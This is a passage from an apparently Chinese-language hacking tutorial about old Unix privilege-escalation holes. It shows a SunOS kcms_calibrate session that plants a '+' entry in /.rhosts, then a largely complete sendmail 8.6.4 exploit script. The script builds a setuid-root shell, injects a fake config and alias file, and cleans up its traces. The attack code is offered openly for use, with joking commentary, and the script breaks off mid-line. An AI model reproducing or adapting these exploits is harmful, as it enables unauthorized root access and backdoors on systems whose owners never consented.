SunOS victim 5.5 Generic sun4d sparc SUNW,SPARCserver-1000
vic% id
uid=123(hacker) gid=10(users)
vic% ls -l
-rwx------ 1 hacker users 479 1998 7月 10 uhit.sh
vic% ls /usr/openwin/share/etc/devdata/profiles/*.mon
kcmsEKappl13.mon kcmsEKgend50.mon kcmsEKp22g22.mon kcmsEKsony20.mon
kcmsEKebu18.mon kcmsEKnokia15.mon kcmsEKsony16.mon kcmsEKvs17in.mon
kcmsEKebu22.mon kcmsEKp22g187d.mon kcmsEKsony17.mon
(samsa:其中任选一个，我们选中了``kcmsEKsony17.mon'')
vic% ./uhit.sh
Click the device you've chosen in kcms_calibrate window
Call was successful.
Click the device you've chosen in kcms_calibrate window
Call was successful.
Click the device you've chosen in kcms_calibrate window
...
这时你的屏幕上会弹出``kcms_calibrate''的界面窗口,在其中``monitors''组
框中,选中我们的设备,``kcmsEKsony17.mon'',意味着sony 17"显示器,然后点击
下面的``calibrate''按钮,进行配置.配置完了正常退出该程序.
让我们看看成果!
vic% ls -l /.rhosts
-rw-rw-rw- 1 root bin 23 May 18 13:40 /.rhosts
vic% cat /.rhosts
Kp_kcms_sys.sem
+
vic%
(samsa:你还想要什么呢?呵呵)
第三步在你自己的机器上:
# xhost -victim.com
victim.com being removed from access control list
(samsa:不要偷鸡不成,反蚀一把米哦~)
2.3) 其他类型的漏洞：
2.3.1) 程序调试后门(backdoor for debugging)
e.g.利用sendmail(8.6.4)的漏洞，让我们先看看程序：
---------------------------- begin: sendbug.sh --------------------------
#!/bin/sh
SENDMAIL=/usr/lib/sendmail
CONFIG=/etc/mail/sendmail.cf
#CONFIG=`strings $SENDMAIL|grep sendmail.cf`
#The strings utility looks for ASCII strings in a binary file.
SHELL=/bin/ksh
CC=gcc
TEMPDIR=/tmp/sendbug-tmp.$$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR
cp $SENDMAIL sm
chmod 700 sm
echo "creating setid0..."
cat >setid.c << __EOF__
#include
main(argc,argv)
int argc;
char *argv[];
{ int uid;
setuid(0);
if (getuid() != 0) {puts("setuid(0) failed");exit(1);}
execl(argv[1],"mysh",NULL);
}
__EOF__
$CC -o setid0 setid.c
echo "creating calc..."
cat >calc.c <<__EOF__
#include
void
gencore(){
int pid,fd[2];
if(pipe(fd)<0){ perror("pipe");exit(1);}
pid=fork();
if (!pid){
int f=open("./out",O_RDWR|O_CREAT,0666);
dup2(f,1); dup2(fd[0],0);
close(f); close(fd[0]); close(fd[1]);
execl("./sm","sm","-d0-9.90","-oQ.","-bs",0);
perror("exec");
exit(1);
}
else{
sleep(2);
kill(pid,11);
}
close(fd[0]); close(fd[1]);
}
int find(pattern,file)
char *pattern;
char *file;
{ int fd,i,addr; char c;
fd=open(file,O_RDONLY);
i=0; addr=0;
while(read(fd,&c,1)==1){
if (pattern[i]==c) i++;
else i=0;
if (pattern[i]=='\0'){
addr-=strlen(pattern);
return(addr);
}
addr++;
}
}
main(argc,argv)
int argc;
char *argv[];
{ unsigned int ConfFile,tTdvect,off;
gencore();
sync();
tTdvect=find("ZZZZZZZZ","core");
ConfFile=find(argv[1],"core");
if (!tTdvect||!ConfFile) return (1);
off=ConfFile-tTdvect;
printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
off,'/',off+1,'t',off+2,'m',off+3,'p',off+4,'/',off+5,'s',
off+6,'m',off+7,'.',off+8,'c',off+9,'f',off+10);
/* "/tmp/sm.cf" */
}
__EOF__
$CC -o calc calc.c
echo "scanning core image for $CONFIG"
DEBUGFLAGS=`./calc $CONFIG`
echo "creating alias.sh"
cat >alias.sh << __EOF__
#!/bin/sh
/bin/chmod 6777 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
/bin/sync
__EOF__
chmod 755 alias.sh
echo "creating fake alias file..."
echo "yash: |$TEMPDIR/alias.sh" > aliases
echo "faking alias pointer in new config file..."
egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
cat >> /tmp/sm.cf << __EOF__
OA$TEMPDIR/aliases
Ou0
Og0
DZWHOOP-v1.0
__EOF__
echo "creating the sendmail script..."
cat > sendmail.script << __EOF__
helo
mail from:nobody
rcpt to:yash
data
yet another sendmail hole?suid whoop?
.
quit
__EOF__
echo "executing $SENDMAIL $DEBUGFLAGS -bs ..."
$SENDMAIL $DEBUGFLAGS -bs < sendmail.script
sleep 3
(sleep 5;cd /;rm -rf $TEMPDIR /tmp/sm.cf)&
if [ -u setid0 ]
then
echo "set
(http://www.fanqiang.com)
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